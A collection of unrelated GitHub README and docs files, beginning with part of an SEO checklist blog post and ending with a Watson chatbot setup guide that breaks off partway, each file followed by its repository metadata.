* **Don't stuff keywords:** In the early 2000s, websites would cram hundreds of keywords into articles. This never really worked. Google can easily figure this out, and your website will be penalized. Just write with the user's experience in mind.

#### Image Alt Text

Alt Text is what appears when an image fails. Search engines use this text for indexing images and creating screen readers for disabled users. If you fail to include alt text with images on your website, this will hurt your search engine position. If you include alt text and ensure it's relevant to your content, however, this will boost your SEO and improve your user experience.

#### URL Structure

Structured URLs are easy to understand and much better than unstructured URLs. If your URL has a lot of numbers or strings of text you do not understand, your URL is likely unstructured. Google prefers URLs that are simple and contain relevant information to what people are searching. Here is an ideal example:

    https://www.example.com/category-keyword/subcategory-keyword/primary-keyword

#### Internal Links

![Internal Links Example]({{ site.baseurl }}/assets/url-structure.png)

You will notice that nearly all websites have a menu bar at the top of every webpage that links to a variety of subpages and internal links. This is important because it:

1. Improves user experience
2. Helps search engines develop and internal hierarchy of the website

By employing an experienced web developer or using a well-developed template, this should be fairly easy to integrate into a website's development. Poor structure will be detrimental to a new blog's success.

#### Broken Links

A broken link occurs when a URL has been removed or a page is not working correctly. Generally this creates a 404 error, which means a page cannot be found. This is bad for a user experience and bad for SEO. As so, all website owners should ensure that their website is free of bad links by using a tool like [Dead Link Checker](https://www.deadlinkchecker.com/ "Dead Link Checker").

### Indexing

I once had a boss notice that an unpublished webpage was still being indexed on Google. The boss said, “Give those folks at Google a call and tell them to take that page down this instant.” I said, “Uh, that’s not how it works.” The boss said, “Well, how does it work?” Here is how it works.

#### Sitemap and robots.txt

There are two files that websites need to interact with search engines. The first is a robots.txt file. This tells the search engine if it can “crawl” the website for content. Without this little file, you will not appear on a Google or Bing. If you have a sensitive page within a website, robots.txt files can prevent these pages from being accessed.

The second essential file is a sitemap. Its job is to inform search engine crawlers that new content has been added. This is how new pages appear on a search engine. If your web page changes does not appear right away, do not panic like my old boss. It can take a few days for a page to get indexed or de-indexed. You can request Google prioritize crawling a web page through [Google Search Console](https://search.google.com/search-console/about).

### Mobile

#### Mobile Friendliness

![Mobile Display]({{ site.baseurl }}/assets/mobile-display.png)

At the time this article was published, over 50% of internet users are using mobile phones. Those numbers are consistent with the traffic I receive on this website. Google’s algorithm gives preference to websites that have mobile-friendly websites. Good web designers will have a deep understanding of factors like text readability and tap targets that help determine mobile friendliness.

To test if your website is mobile friendly, use [Google’s Mobile-Friendly Test](https://search.google.com/test/mobile-friendly).

{% include inline-contact.html %}

### Structured Data

#### Schema Markup

Schema markup is code that helps search engines understand content in ways  metadata and title tags cannot. This markup, which is typically added to the  section of your code, adds additional information such as ratings, events, person information, social media, and other applicable content to a blog. See the example below. To create this markup code, check out a tool like [Technical SEO's Markup Generator]().

![Schema Example]({{ site.baseurl }}/assets/schema-example.png)

**Open Graph Protocol**

Open Graph protocol was developed by Facebook to allow social media sites to share rich data posts like the example below.

Like schema markup, page tags like title, author, description, etc. are added to an open graph snippet that is stored in the  section of your website. Failure to include this will ensure that your posts will not format correctly when shared on social media. This will hurt your ranking.

**Twitter Cards**

Twitter cards are a sharing tool created by Twitter that allow for rich sharing of webpage content. Like Schema markup and Open Graph profile, twitter card code should be added to the  section of your website. Failure to include will hurt search engine ranking and your ability to share efficiently.

The [Official Twitter Card page](https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/summary) recommends code that looks as follows:

    <meta name="twitter:card" content="summary" />
    <meta name="twitter:site" content="@flickr" />
    <meta name="twitter:title" content="Small Island Developing States Photo Submission" />
    <meta name="twitter:description" content="View the album on Flickr." />
    <meta name="twitter:image" content="https://farm6.staticflickr.com/5510/14338202952_93595258ff_z.jpg" />

### Security

#### SSL Certificate and HTTPS Protocol

In Chrome, you will notice a padlock next to a webpage URL. This means that the webpage you are accessing has a security measure called an SSL Certificate. In short, this means that the website has better authentication and encryption than a website without an SSL certificate. This is done by forcing a website to use HTTPS protocol (this is code at the beginning of a URL) and preventing mixed content (i.e. some content is HTTPS and some is HTTP)

These are typically provided by domain providers or content delivery networks like [Cloudflare](https://www.cloudflare.com/ "Cloudflare").

### Performance

#### Page Speed

![Page Speed]({{ site.baseurl }}/assets/page-speed.png)

This is simply how quickly a desktop or mobile page loads when someone opens a URL. This can be tested with a tool like [Google's PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/).

While maximizing page speed can get quite technical, a general rule of thumb is that the more stuff you add to a webpage (i.e. plugins, photos, videos, heavy design, etc.), the slower your website will be. Search engines highly favor fast websites, so always prioritize while building and upgrading websites.

#### Google Analytics

Since Google is the biggest search engine of them all, users who use [Google Analytics](https://analytics.google.com/) receive a slight bump in search engine ranking. Google Analytics is a phenomenal tool and easy to integrate into all types of websites. This one is a no-brainer.

#### Favicon

A favicon is the small graphic that appears in the tabs of a webpage. This is a branding opportunity for your website, but it also improved user experience, since it helps users organize and access web tabs.

There are many favicon generators. I like [Real Favicon Generator](https://realfavicongenerator.net/).

#### 404 Page

As mentioned in the Broken Link section, pages break sometimes. When a webpage cannot be found, this results in a 404 error. When this happens, your website should have a custom 404 page that informs users the page they are looking for does not exist. This will make for a better user experience, and it will help your search position.

#### Domain

While not as complex of an issue as some of the content factors, search engines consider several elements related to domain names. In creating a domain, your domain name should be consistent with how you refer to your company in the site title, footer, about page, etc.

Additionally, Google takes into consideration the age of the domain name and how long the domain is registered in advance. While this will not be a make-or-break for new websites, Google wants to ensure that it is not recommending websites that are bound to fall victim to the burnout I discussed in my [Three Stage Content Marketing Lifecycle](https://markdfleming.com/streamline-your-content-marketing-strategy-with-the-three-stage-lifecycle/) article. So, the longer you have been committed to a website and the longer you purchase a domain in advance, the better.

## Off-Page Checklist:

### Backlinks

A backlink is simply a link from someone else's website to yours. Search engines consider this link as a sort of endorsement, saying, "Hey, check out this site, there is something useful and credible to see."

Backlinks are one of the most important and most talked about factors in determining search engine position. They are also one of the hardest factors to control, because acquiring backlinks requires strategy, time, and a lot of hard work. Additionally, the success of acquiring several backlinks can be trumped by the realization that many high positioned websites have hundreds of thousands of backlinks that make them untouchable for small businesses and creators.

Before you get discouraged though, remember backlinks are all about momentum. The first links are most difficult, but once you get several high quality, highly accessed links - they will do work for you. You just gotta keep at it.

With that said, let's look at backlinking factors to consider.

#### Domain Authority of Linking site

Whenever your website earns a backlink, it's a good thing. However, not all links are created equally. Google highly values links from websites with a high domain authority. Domain authority is a measure of a websites overall SEO. If a website has a high domain authority, it means it has excellent SEO and is considered extremely credible. Examples of websites with high domains include major media outlets, government websites, and websites that are household names.

Receiving a link from a website with high domain authority is like receiving a great recommendation from a prominent business leader. It will legitimize your website and boost your SEO quickly. On the other hand, if you receive a link from a website with no authority, it won't do much for your SEO. To check a website's domain authority, use a tool like [Ahref's Website "Authority" Checker](https://ahrefs.com/website-authority-checker).

#### # Pages linking to website

This is simple the overall number of links pointing to your page. The more you have, the better, but do not stray to the dark side in an attempt to gain more back links.

Black hat backlinks include purchasing links from a link farm, spamming website's comment sections with your page, and generating other unnatural URLs. This may give your website a boost in the short run, but it is a bad practice that is not sustainable. Google will heavily penalize your website if it catches you doing this.

#### Content Relevance

Since search engines view links as endorsements, links from relevant websites boost off-page SEO more than links from irrelevant websites. This means that receiving a link from a website that has similar content and keywords will be a bigger boost than a link from an obscure website. As so, it's a great idea to build connections with like-minded web authors and engage with individuals in your space.

#### DoFollow / NoFollow Links

In the early 2000s, website comment sections were spammed into oblivion with random website owners sharing links to their websites. They were doing this to increase backlinks on domains with high authorities. This ended up decreasing the user experience. As so, the rel="nofollow" code was introduced into links (see below). This ultimately prevent spammers from gaining links this way.

    Anchor Text

Nowadays, nofollow links appear in many formats (i.e. social media links, etc.). While they do not count towards your off-page SEO, they can be useful for generating traffic.  To improve your SEO, however, you will want to ensure that the backlinks you are creating are marked as "dofollow."

#### Anchor text of link

When you create a link like this: [Mark Fleming Blog](https://markdfleming.com/), the anchor text (Mark Fleming Blog) is what appears on a website. Search engines consider this when evaluating backlinks. This will help you improve your position for keywords included in the anchor text.

### Traffic

#### Overall traffic (social, direct, email, organic, paid, etc.)

Last but certainly not least, we must remember that organic traffic does not exist in a vacuum. It is only one stream within the overall traffic coming to our website. Other paths such as social, direct, email, paid, etc. are lucrative paths that can make or break a business.

Search engines consider the overall traffic a page receives and the traffic related social media accounts. As so, make sure to balance your marketing efforts. Spend time and resources in improving your weakest links, and SEO success will be a step closer.

**Further Reading:**

* [Google Search Engine Optimization (SEO) Starter Guide](https://support.google.com/webmasters/answer/7451184)
* [Moz's Beginner Start Guide to SEO](https://moz.com/beginners-guide-to-seo)


text:
# Pretty Proto
A utility to format the `toString()` output of [Wire](https://github.com/square/wire) generated Protos.

## License

```
Copyright 2019 Adam Erb

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```

repository: aerb/pretty-proto

gha_language: Kotlin

repo_name: aerb/pretty-proto


text:
# mqtt-demo
Small demo using Vert.x and MQTT

# Requirements

 * Java 8
 * Maven 3.5.0
 * MQTT server

# MQTT Server

 Software has been tested using mosquitto 1.4.8 under Linux Mint 18.1. Theoretically any MQTT 3.1.1 server running
 locally should suffice for this demo.

# Building from scratch

 1. Checkout
 2. mvn clean install

# Running the demo

 The root of the project contains startup scripts. Do the following:

 1. Start the MQTT server
 2. Start ./start-domain in a shell
 3. Start ./start-alert-service
 4. Start ./start-device
 5. Optionally start more devices...

# What does it do?

The domain service receives all messages on a topic. And send messages to the alert-service if a threshold is reached.

Each device will post a temperature every 5 seconds. Each device has a unique ID.

The alert-service will notify (only by logging now) if something is posted on alert topic.

When you start a device it will spin up 50 instances.

Current configuration file will use a local mqtt server and has a max of 1000 simultaneous messages (max in flight).

repository: IvoLimmen/mqtt-demo

repo_name: IvoLimmen/mqtt-demo


text:
---
author: johnkodumal
comments: false
date: 2015-10-13 17:25:30+00:00
layout: post
link: https://launchdarkly.com/blog/launched-account-permissions/
slug: launched-account-permissions
title: 'Launched: Account Permissions'
wordpress_id: 177
categories:
- Product Updates
tags:
- permissions
- qa test
---

We've just launched account permissions! Team members can now be assigned more restrictive roles on your [team management page](https://app.launchdarkly.com/settings#/team). There are several roles:

  * Readers— readers can see anything in LaunchDarkly, but can't modify any data. This role is perfect for members of your organization that need visibility into your feature flags, but shouldn't be able to modify rollout rules, or administer the system.

  * Writers— writers can modify feature flags, goals, environments and more. They can't add new team members to the account, or manage your payment method or plans.

  * Admins / owners— admins and owners can do pretty much everything on the site. Owners can't be removed from the account.

[![Account Permissions](https://blog.launchdarkly.com/wp-content/uploads/2015/10/Account-Permissions.png)](https://blog.launchdarkly.com/wp-content/uploads/2015/10/Account-Permissions.png)

Over time, we'll be making our permissions model more powerful. It'll be possible to put even finer-grained controls on your users, so you can lock down your production environment, or restrict your Test environment to QA engineers if necessary.

repository: papistan/gatsby-starter-netlify-cms

gha_language: JavaScript

gha_license_id: MIT

repo_name: papistan/gatsby-starter-netlify-cms


text:
The folder contains the required files to build a Docker image for the KG Website. The "Dockerfile"
file contains the instructions to build an image; before making any changes to it, please consult
the system administrators at CMCL (Michael Hillman<EMAIL_ADDRESS>
Owen Parry <oparry@cmclinnovations.com>).

Please note the caveats below before continuing:

	- The site hosted within the Docker image will be based on the current commit
	of this repository, please ensure you're on the right one.

	- The "docker build" command should be run from within the website directory.

	- Local changes to the site's files will not be reflected on the website until the image is rebuilt.

To build the image:
	docker build --rm --no-cache -t kg-website:`git rev-parse --short HEAD` .

To run the image and generate a container:
	docker run -d -p 80:80 -p 443:443 --restart always --name "kg-website" -it kg-website:`git rev-parse --short HEAD`

===== Development ======

All website files are stored within the Deploy/web/website/site directory within the JPS repository; please refer to the Grav documentation for more information on the file hierarchy. We've made a design choice to follow the below procedure for KG service development and the website:

- KG services should be run within their own Docker container, no services should be included within the website container.
- KG services should contain minimal UI elements within their own code:
	- It's the intention that KG services will be embedded within/called from pages on the website wherever possible; this should ensure we have a consistent style for all services. This means that if you create your KG service with existing UI content, it may no longer be possible for use in the overall website. If required, individual UIs can be created for local testing/development, but a version should exist without them; we've tried to mitigate this need by making it easy to host a version of the KG website, so you can develop and test with that instead of a bespoke UI for that service.
	- For example, to support the integration of the UK Digital Twin on the site, the header banner was removed so that the service itself only shows the map element. This map element can then be loaded into an existing web page (that already has it's own header and footer) using an iframe.
- Each KG service/demo should have it's own individual page:
	- Whilst we can link to many services from a single page, each service demo should be within it's own page.
- Each KG service should list the development partners:
	- For now this is most likely CMCL, CoMo, and CARES. Using the prebuild partners page module should do.
- Any additional entries in the CSS files should be commented, as should any JS files added to the site.

Once you've made the desired changes to the website on your local clone of the repository, these changes can be seen on the hosted site by rebuilding the website image. This can either be done for the website on it's own using the individual docker commands shown later, or you can use the refresh-stack.sh script in Bash to reload the entire environment (see the README files within the repository for more details).

repository: amanjayedi/TheWorldAvatar

repo_name: amanjayedi/TheWorldAvatar


text:
# Introduction

## What is ARCHE Suite and what is not

Probably the most important thing you need to know is that the ARCHE Suite **is a framework**
(in contrary to being an application or a service).
To put it simple **you need to be (or have around) a programmer** to make a working repository out of it.
If you are searching for an just-install-and-use app, please rather take a look at software like the [DSpace](https://dspace.lyrasis.org/).

## Unique features

If you are still reading, here are a few features which are rather unique to the ARCHE Suite:

* Proper support for the Linked Data in RDF:
  * Support for metadata input and output in any of RDF-XML, n-triples, turtle and JSON-LD serialization formats.
  * A direct relation between the RDF metadata graph and repository resources
    - every repository resources is a metadata graph node (and vice versa).
  * Powerful API for fetching just the subset of the metadata graph you need at one API call
    (more information can be found [here](metadata_api_for_programmers.html)).
    * For performance reasons there is no SPARQL endpoint though.
  * Native support for multiple resource identifiers.
    If metadata is integrated from multiple sources or external identifier sources are used (e.g. DOI),
    you might easily end up with multiple concurrent identifiers for the same resource.
    The ARCHE API allows you to identify the resource with any of them.
  * Metadata graph consistency checks - you can not remove a repository resource until other repository resources
    point to it in their metadata.
* No metadata schema enforced.
  While there are some concepts which have to be assigned an RDF predicate (e.g. a predicate for storing multiple identifiers or resource labels),
  this is fully flexible and set up as a part of the configuration.
* Extensibility.
  You can easily plug in your own code in any programming language having the [AMQP](https://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol) support.
  The plugins system supports all [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) events and is covered by the transactions system.
* Very powerful OAI-PMH service
  allowing on-the-fly mapping of the RDF metadata to the OAI-PMH ones.
* Fully [ACID](https://en.wikipedia.org/wiki/ACID) transactions.
* Embedded handles service.
* Modules (microservices) providing intergration with:
  * [CLARIN FCS](https://www.clarin.eu/content/federated-content-search-clarin-fcs-technical-details)
  * [OpenRefine](https://openrefine.org/)
* Small memory footprint.

## Architecture

The ARCHE Suite is build in a very modular way.
It increases flexibility and extensibility but unfortunatelly it also makes it slightly harder to understand how things work at the beginning.

The most crucial parts are:

* [arche-core](https://github.com/acdh-oeaw/arche-core) implements the REST API
  providing the [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) operations as well as a search.
  * It provides extremally rudimentaty graphical user interface
    (it can render metadata and search results as an HTML, still proper requests have to be made by hand).
* [arche-docker](https://github.com/acdh-oeaw/arche-docker) provides a [Docker](https://en.wikipedia.org/wiki/Docker_(software)) image
  with the runtime environment for the arche-core.
* [arche-docker-config](https://github.com/acdh-oeaw/arche-docker-config) providing a sample configuration for the arche-core and other components
  (as the ARCHE suite is very flexible, it requires quite a lot of configuration settings).

On top of this minimal set you will be almost for sure interested in:

* [arche-oaipmh](https://github.com/acdh-oeaw/arche-oaipmh) implementing
  the [OAI-PMH](https://en.wikipedia.org/wiki/Open_Archives_Initiative_Protocol_for_Metadata_Harvesting) service.
* [arche-resolver](https://github.com/acdh-oeaw/arche-resolver) implementing
  a handles and [dissemination services](dissemination_services.html) redirection service.

There is also a set of modules implementing [dissemination services](dissemination_services.html):

* [arche-biblatex](https://github.com/acdh-oeaw/arche-biblatex) for generation of [bib(La)TeX bibliographic entries](https://en.wikipedia.org/wiki/BibTeX#Bibliographic_information_file)
  from the metadata.
* [arche-exif](https://github.com/acdh-oeaw/arche-exif) for exif metadata extraction from images stored in the repository.
* [arche-openrefine](https://github.com/acdh-oeaw/arche-openrefine) implementing the [OpenRefine](https://openrefine.org/) reconciliation API endpoint.
* [arche-thumbnails](https://github.com/acdh-oeaw/arche-thumbnails) generating minified versions of images store in the repository.

### Graphical User Interface

At this point you are probably wondering where is a graphical user interface.
Well, there is none...

More precisely:

* The arche-core API can render metadata and search output in HTML (see e.g. [here](https://arche.acdh.oeaw.ac.at/api/123456/metadata))
  but this does not help constructing API queries and is definitely not enough for the end user.
* There is an [arche-gui](https://github.com/acdh-oeaw/arche-gui) which we use for our own repository instance(s)
  but we developed it according to our needs and with no flexibility in mind so the chances you can reuse it are small
  (until you decide to stick to our metadata schema).

Which basically means **you are expected to develop the graphical user interface for browsing the repository on your own.**

This is a well-though decision on our side.
The thing is everyone wants to adjust the GUI to their own preferences and there is no one-suits-it-all solution.
So taking into account our limited resources we decided we will not aim for providing a reusable GUI.

Still the arche-core API (for more information on using it see the guides on the [main page](../))
and the pretty straightforward underlaying database structure should allow you do develop a GUI quite easily and fast.

The crucial factor here is for you (your programmer) to understand well how to go from metadata in RDF
to data structures front-end developers are used to.
[This](rdf_basics.html) and [this](rdf_compacting_and_framing.html) guide can hopefully help a little with that.

### Data consistency check tools

As with the GUI we did not try to prepare a one-fits-it-all data consistency checks system.

What ARCHE Suite provides here is a flexible plugins system allowing you to execute your own code on particular events like the resource addition, modification, deletion, etc.

In our case we developed and plugged in the [arche-doorkeeper](https://github.com/acdh-oeaw/arche-doorkeeper) module.
It performs various checks (mainly metadata consistency once) and some automations (e.g. on-demand fetching of PIDs from an external handles service).

In our setup the arche-doorkeeper reads the configuration from an [OWL ontology](https://github.com/acdh-oeaw/arche-schema-ingest)
and the ontology is stored as a set of ordinary repository resources
(as an OWL ontology is expresses in the RDF and the arche-core stores metadata in RDF, it is pretty straightforward and natural approach;
there is a separate [piece of software responsible for the ingestion](https://github.com/acdh-oeaw/arche-schema-ingest)).

While the chances that it will be directly reusable by you are rather small, you can take it as an inspiration
for your own checks implementation.

And if you find our setup too complex, you can just implement all the checks logic in the plugin code.

## Data ingestion tools

The ARCHE Suite comes with a quite a powerful set of data ingestion tools capable of ingesting resources from RDF metadata file or just a folders structure on a disk.
The only caveat is they are console tools (lack graphical user interface).

For end-user scripts take a look at the [arche-ingest](https://github.com/acdh-oeaw/arche-ingest)
while the underlaying PHP libraries are provided by the [arche-lib-ingest](https://github.com/acdh-oeaw/arche-lib-ingest).

## Next steps

* If you want to try out a quick deployment of the ARCHE Suite on your machine, follow [this guide](firstSteps.html).
* If you want to understand better, what you need to think about if you are planning to use the ARCHE Suite, continue reading [here](firstSteps.html#further-considerations).

Also please do not hesitate to [contact<EMAIL_ADDRESS>if you have any questions.

repository: acdh-oeaw/arche-docs

gha_language: HTML

repo_name: acdh-oeaw/arche-docs


text:
---
layout: organization
category: local

title: Medicare Rights Center
impact_area: Human Rights
keywords:
  - The Disabled
  - The Elderly
  - Health and Wellness
location_services: Bronx,Brooklyn,Long Island,Manhattan,Queens,Staten Island,Greater New York
location_offices: Manhattan
website: www.medicarerights.org

description: |
  Can you imagine being sick and not being able to go the doctor or get medicine that will help you feel better? Many grandmas, grandpas and other older adults in New York City can’t get the medicine or care that they need to stay healthy. The Medicare Rights Center is here to help them. We have a hotline, a web site, training programs and presentations that people can use to get answers to questions about staying healthy on a budget. Your pennies will help us help them.
mission:

cash_grants: yes
grants:
  - |
    $250 provides one volunteer training, which teaches the people who answer the phones on the hotline how to counsel clients.

    $500 will enable us to counsel 25 clients who call our hotline.

    $1000 provides a set of 3 webinars, online classes that help us teach health professionals like doctors and social workers how to help older adults with health care coverage problems.
service_opp: no
services:

learn:
  - Give students a tour of our office and facilities.Make a presentation about our organization.Speak over the phone about our work.
cont_relationship:
  - Help students develop a community service project with us
  - Attend an in-school Check Award Assembly if we receive a grant
  - Help students tell local newspapers and media about their grant and/or project with us
  - Collect pennies during the Penny Harvest next fall

salutation:
first_name: Courtney
last_name: Cohen
title_contact_person: Program Development VISTA

city: New York
state: NY
address: |
  520 8th Avenue, North Wing, 3rd Floor
  New York NY 10018
lat: 40.75348
lng: -73.992536
phone:<PHONE_NUMBER>
ext:
fax:
email<EMAIL_ADDRESS>preferred_contact: email,phone
contact_person_intro: |
  Hi, my Name is Courtney Cohen. I am a Volunteer In Service To America (VISTA) serving at the Medicare Rights Center. I help people who call our hotline make sure they can go to the doctor and get medicines they need. The Medicare Rights Center is looking forward to participating in Common Cents for the first time and working with your school!
---
Can you imagine being sick and not being able to go the doctor or get medicine that will help you feel better? Many grandmas, grandpas and other older adults in New York City can’t get the medicine or care that they need to stay healthy. The Medicare Rights Center is here to help them. We have a hotline, a web site, training programs and presentations that people can use to get answers to questions about staying healthy on a budget. Your pennies will help us help them.

repository: flipside-org/penny-harvest

gha_language: CSS

repo_name: flipside-org/penny-harvest


text:
# Unidom Common Change Log 常用领域模型引擎变更日志

## v0.1
1. Enable PostgreSQL UUID Extension migration<PHONE_NUMBER>0000)

## v0.2
1. Model Extension concern
2. Data Helper module

## v0.3
1. Improved the Data Helper module
2. Improved the Model Extension concern
3. Improved the Common module to add the NULL_UUID constant as: ``00000000-0000-0000-0000-000000000000``
4. Improved the Common module to add the SELF constant as: ``~``

## v0.4
1. Improved the Model Extension to add the .``to_id`` method

## v0.5
1. Improved the Model Extension to support the No-SQL columns

## v0.5.1
1. Fixed the issue of No-SQL columns reader methods

## v0.6
1. Improved the Model Extension concern to generate the {acted}_before, {acted}_not_after, {acted}_after, and {acted}_not_before scopes for the {acted}_at date time field automatically
2. Improved the Model Extension concern to add the ``notation_column_where`` scope

## v0.7
1. Improved the Model Extension concern to generate the {action}_transited_to scope for the #{action}_state field automatically

## v0.8
1. Improved the Model Extension concern to add the .``notation_boolean_column`` method

## v0.9
1. Improved the Model Extension concern to add the ::notation_boolean_column_where scope

## v1.0
1. Improved the Model Extension concern to check the column type
2. Improved the Model Extension concern to support the Keyword Arguments

## v1.0.1
1. Improved the Ruby Gem Specification to support Rails v5.0

## v1.1
1. Numeration class
2. AES 256 Cryptor concern
3. SHA 512 Digester concern

## v1.2
1. MD 5 Digester concern
2. SHA 256 Digester concern
3. SHA 384 Digester concern

## v1.3
1. SHA 1 Digester concern
2. SHA 2 Digester concern
3. Improved the Model Extension to generate the validations for the #{action}_state field automatically
4. Improved the AES 256 Cryptor concern for the class methods

## v1.4
1. Improved the Model Extension concern to add the #``assert_present!`` & the .``assert_present!`` method

## v1.5
1. Improved the Model Extension concern to support the Exact Column specification

## v1.6
1. Secure Column concern
2. Exact Column concern
3. Argument Validation concern
4. Notation Column concern
5. Improved the Model Extension concern to include the Argument Validation concern, the Exact Column concern, the Notation Column concern, & the Secure Column concern

## v1.7
1. Improved the Model Extension concern to support the Progne Tapera enum for the code fields
2. Improved the Secure Column concern to add the encryption algorithm
3. YAML helper module

## v1.7.1
1. Improved the Secure Column concern for the .``exact_signature`` method
2. Improved the Ruby Gem Specification to depend on [progne_tapera](https://github.com/topbitdu/progne_tapera) v0.4

## v1.7.2
1. Improved the Secure Column concern for the un-selected secure columns

## v1.8
1. Engine Extension concern

## v1.8.1
1. Improved the Model Extension concern for the validations for the #ordinal attribute, the #grade attribute, & the #priority attribute

## v1.9
1. Neglection class
2. Improved the Model Extension concern to integrate the Neglection class

## v1.9.1
1. Improved the Neglection class in case of lack of configuration
2. Improve the Secure Column concern for the null encrypted JSON column

## v1.9.2
1. Improve the Neglection class in case of lack of configuration

## v1.10
1. Improve the Common module to add the OPENED_AT constant as: ``Time.utc(1970)``
2. Improve the Common module to add the CLOSED_AT constant as: ``Time.utc(3000)``
3. Improve the Common module to add the FROM_DATE constant as: ``'1970-01-01'``
4. Improve the Common module to add the THRU_DATE constant as: ``'3000-01-01'``
5. Improve the Common module to add the MAXIMUM_AMOUNT constant as: ``1_000_000_000``

## v1.11
1. Enable PostgreSQL Pgcrypto Extension migration<PHONE_NUMBER>0010)
2. Improve the Common module to add the STATE constant as: ``'C'``

## v2.0
1. Improve the compatibility for Rails 6.0

repository: topbitdu/unidom-common

gha_language: Ruby

repo_name: topbitdu/unidom-common


text:
# Cardboard Dividers
OpenSCAD template/script for laser cutting cardboard holders for (primarily) networking equipment to go in hardcases (Pelicans).

Currently the code supports specifying the dimensions of your hard case, the size of your objects, and the number of items you want to store. **NOTE:** The code has a hardcoded width of 2 items; a PR is welcome if you modify the code to support an arbitrary number of items wide.

Photos are at the end of the `README`.

# Creating a DXF
Modify the parameters in OpenSCAD until you've gotten a layout you're happy with. **Make sure** you render the the design first, and **then** use OpenSCAD's `Export as DXF...` feature. OpenSCAD will happily export a DXF of your last render, without letting you know you need to re-render due to changes.

repository: ArduinoMinas/CardboardDividers

repo_name: ArduinoMinas/CardboardDividers


text:
# COVID-19 analysis

Mainly Italy.

 * [Daily data and short term forecasts for Italy](https://github.com/alexamici/covid-19-notebooks/blob/master/notebooks/italy-situation-report.ipynb)
 * [Weekly more detailed data for Italy](https://github.com/alexamici/covid-19-notebooks/blob/master/notebooks/italy-istat.ipynb)
 * [Daily data and short term forecasts for Italian regions](https://github.com/alexamici/covid-19-notebooks/blob/master/notebooks/italy-regions-situation-report.ipynb)
 * [Daily data for some USA states](https://github.com/alexamici/covid-19-notebooks/blob/master/notebooks/usa-states-situation-report.ipynb)

# Contribute

If you spot any inaccuracy please file [an issue on GitHub](https://github.com/alexamici/covid-19-notebooks/issues)

Contributions in the form of a Pull Request are welcomed as long as they are scientifically sound.

# Development

If you don't have *conda* installed, install [miniconda](https://docs.conda.io/projects/conda/en/latest/user-guide/install/):

Clone the repo and set up the conda environment:

```
git clone https://github.com/alexamici/covid-19-notebooks.git
cd covid-19-notebooks
conda env create -f environment.yml
```

Activate the COVID19 environment and start up the notebook server:

```
conda activate COVID19
jupyter notebook
```


text:
# CouponDonation
THIS APPLICATION IS CURRENTLY UNDER CONSTRUCTION

The Coupon Donation Application is a web application that allows a user to type in a coupon code into the web broswer. Then they are given a selection of Charities in which they'll be allowed to donate their coupon. That coupon code would then be converted into real money so that a donation can be made to the chosen charity.

repository: dimitriderose/DonPon

repo_name: dimitriderose/DonPon


text:
# soajs.oauth
[![Build Status](https://travis-ci.org/soajs/soajs.oauth.svg?branch=master)](https://travis-ci.org/soajs/soajs.oauth)
[![Coverage Status](https://coveralls.io/repos/soajs/soajs.oauth/badge.png)](https://coveralls.io/r/soajs/soajs.oauth)
[![Known Vulnerabilities](https://snyk.io/test/github/soajs/soajs.oauth/badge.svg)](https://snyk.io/test/github/soajs/soajs.oauth)

SOAJS oAuth is a service that integrates with [oAuth 2.0](http://www.oauth.org).
The service simply validates, refreshes and kills access tokens generated via oAuth 2.0.

SOAJS oAuth is used to protect other services from public access.
Protected services are only accessible if the access_token generated by oAuth is provided as a parameter.

### Complete Documentation
More information is available on SOAJS website under the section for [oAuth](https://soajsorg.atlassian.net/wiki/x/doApVQ).

### License
*Copyright SOAJS All Rights Reserved.*

Use of this source code is governed by an Apache license that can be found in the LICENSE file at the root of this repository.


text:
`CartJS.getAttributes()`

Get all currently set cart attributes, returned as an object.

```js
// Print out current cart attributes.
console.log(CartJS.getAttributes());
// -> Object {"Has Gift Note": "false"}
```

repository: agualina/cartjs

repo_name: agualina/cartjs


text:
# Oi Chat - Conversation Sample Application

This Node.js app demonstrates the Conversation service in a simple mobile carrier chatbot. This was built on top of a github Sample project called [conversation-simple][sample_git_url] produced by IBM.

### Setting up the Conversation service

1. At the command line, go to the local project directory (`oi-chatbot`).

1. Connect to Bluemix with the Cloud Foundry command-line tool. For more information, see the Watson Developer Cloud [documentation][cf_docs].

1. Create an instance of the Conversation service in Bluemix. For example:

    ```bash
    cf create-service Conversation free conversation-service
    ```

### Importing the Conversation workspace

1. In your browser, navigate to your Bluemix console.

1. From the **All Items** tab, click the newly created Conversation service in the **Services** list.

1. On the Service Details page, click **Launch tool**.

1. Click **Import** in the Conversation service tool. Specify the location of the workspace JSON file in your local copy of the app project:

    `<project_root>/training/oi_workspace.json`

1. Select **Everything (Intents, Entities, and Dialog)** and then click **Import**. The car dashboard workspace is created.

### Configuring the Conversation Service

1. A file named .env file is used to provide the service keys for your service instances to the application. Create a .env file in the root directory of your clone of the project repository by copying the sample .env.example file using the following command:

    ```bash
    cp .env.example .env
    ```

1. Create a service key in the format `cf create-service-key <service_instance> <service_key>`. For example:

    ```bash
    cf create-service-key conversation-service conversation-service-key1
    ```

1. Retrieve the credentials from the service key using the command `cf service-key <service_instance> <service_key>`. For example:

    ```bash
    cf service-key conversation-service conversation-service-key1
    ```

   The output from this command is a JSON object, as in this example:

    ```JSON
    {
      "password": "87iT7aqpvU7l",
      "url": "https://gateway.watsonplatform.net/conversation/api",
      "username": "ca2905e6-7b5d-4408-9192-e4d54d83e604"
    }
    ```

1. Paste  the `password` and `username` values (without quotation marks) from the JSON into the `CONVERSATION_PASSWORD` and `CONVERSATION_USERNAME` variables in the `.env` file. For example:

    ```
    CONVERSATION_USERNAME=ca2905e6-7b5d-4408-9192-e4d54d83e604
    CONVERSATION_PASSWORD=87iT7aqpvU7l
    ```

1. In your Bluemix console, open the Conversation service instance where you imported the workspace.

1. Click the menu icon in the upper-right corner of the workspace tile, and then select **View details**.

1. Click the icon to copy the workspace ID to the clipboard.

1. On the local system, paste the workspace ID into the WORKSPACE_ID variable in the `.env` file. Save and close the file.

### Create a Cloudant NoSQL database service

1. Create an instance of the Cloudant NoSQL database service using the shared plan

    ```bash
